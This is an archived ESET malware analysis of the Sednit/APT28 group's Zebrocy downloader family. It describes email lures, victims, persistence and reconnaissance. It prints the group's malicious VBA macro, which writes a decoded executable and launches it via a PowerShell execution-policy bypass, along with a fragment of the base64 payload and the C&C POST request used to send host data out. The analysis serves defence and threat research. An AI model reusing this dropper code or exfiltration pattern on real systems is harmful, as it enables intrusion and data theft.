Sednit update: Analysis of Zebrocy By ESET Research Archived: 2026-04-05 15:40:02 UTC The Sednit group – also known as APT28, Fancy Bear, Sofacy or STRONTIUM – is a group of attackers operating since 2004, if not earlier, and whose main objective is to steal confidential information from specific targets. Toward the end of 2015, we started seeing a new component being deployed by the group: a downloader for the main Sednit backdoor, Xagent. Kaspersky mentioned this component for the first time in 2017 in their APT trend report and recently wrote an article where they quickly described it under the name Zebrocy. This new component is a family of malware, comprising downloaders and backdoors written in Delphi and AutoIt. These components play the same role in the Sednit ecosystem as Seduploader — that of first-stage malware. Victims we have seen targeted by Zebrocy are located in Azerbaijan, Bosnia and Herzegovina, Egypt, Georgia, Iran, Kazakhstan, Korea, Kyrgyzstan, Russia, Saudi Arabia, Serbia, Switzerland, Tajikistan, Turkey, Turkmenistan, Ukraine, Uruguay and Zimbabwe. These targets include embassies, ministries of foreign affairs, and diplomats. The Zebrocy family consists of three components. In the order of deployment these are a Delphi downloader, an AutoIt downloader and a Delphi backdoor. Figure 1 shows the relationship between these components. In this article we describe this family and how it can coexist with the older Seduploader reconnaissance tools. We will talk about some similarities to and differences from Downdelph at the end. https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ Page 1 of 15 Figure 1: The Sednit ecosystem Figure 1 shows the attack methods and active malware used by Sednit. Email attachments are the main entry point to the Sednit ecosystem. DealersChoice is still being used, as research from Palo Alto Networks mentioned in this recent blogpost. Both Seduploader and Zebrocy are actively being delivered by the Sednit group through email attachments. Finally, after a reconnaissance phase, Xagent and Xtunnel are deployed on the targets deemed interesting by the operators. Attack methods The first component of a Zebrocy-based attack arrives as an email message. Victims are lured into opening email attachments that can be either Microsoft Office documents, or an archive. Malicious documents https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ Page 2 of 15 Malicious documents used by Sednit download the first stage payload via Visual Basic for Applications (VBA), exploits or even using Dynamic Data Exchange (DDE). At the end of 2017, the Sednit group launched two campaigns delivering two different malicious documents. The first was named Syria - New Russia provocations.doc and the second named Note Letter Mary Christmas Card.doc. Figure 2: Zebrocy’s malicious documents Both malicious documents contain a VBA macro that creates a randomly-named file in %TEMP%. The malware executable is then decoded and written into this file, which is then executed via a PowerShell command or via Scriptable Shell Objects. [...] Sub AutoClose() On Error Resume Next https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ Page 3 of 15 vAdd = "" For I = 1 To 8 vAdd = vAdd + Chr(97 + Rnd(20) * 25) Next vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e" SaveNew vFileName, UserForm1.Label1.Caption Application.Run "XYZ", vFileName, "WScript.Shell" End Sub Public Function XYZ(vF, vW) vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';" Call CreateObject(vW).Run(vStr, 0) End Function [...] TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu [...] Example of Visual Basic function and base64 encoded first stage from Syria - New Russia provocations.doc document. Archives Some campaigns have used an archive to drop the first stage on the victim computer, rather than Office document macros. The archive is presumably delivered as an email attachment. All first stage of the Zebrocy family are executables with an icon and a document-like filename intended to trick the victim as shown in the Figure3. https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ Page 4 of 15 Figure 3: Zebrocy first stage using a Word document icon Delphi downloader A Delphi downloader is the first stage of the Zebrocy family, although we have seen some campaigns from the Sednit group using the AutoIt stage directly without using this downloader. Most of these Delphi downloader binaries use Office document icons or other icons like Windows library, and sometimes these samples are packed with UPX. The purpose of this stage is quite straightforward: it retrieves a maximum of information from the victim's computer. When the malware is launched, a splash window pops up with a bogus error message and the filename of the dropped binary. For example, if the filename is srsiymyw.exe, the filename that appears in the splash window will be srsiymyw.doc (see Figure 4). The pop-up’s purpose is to distract the user so that he won't think anything unusual is happening on his computer. Figure 4: Delphi downloader splash window In fact, the downloader is busy creating a file under %TEMP% with a filename hardcoded in the binary (although at this stage, the file is empty). Persistence is implemented by adding a Windows registry entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ with the path of the hardcoded filename. To gather information, the malware creates a new process using the Windows API CreateProcess function with cmd.exe /c SYSTEMINFO & TASKLIST as lpCommandLine argument. Once the information is retrieved, it https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ Page 5 of 15 sends the result via a HTTP POST request to the C&C server hardcoded in the binary. It retries until it receives the next stage. POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort= HTTP/1.0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: xxxx Host: Accept: text/html, */* Accept-Encoding: identity User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A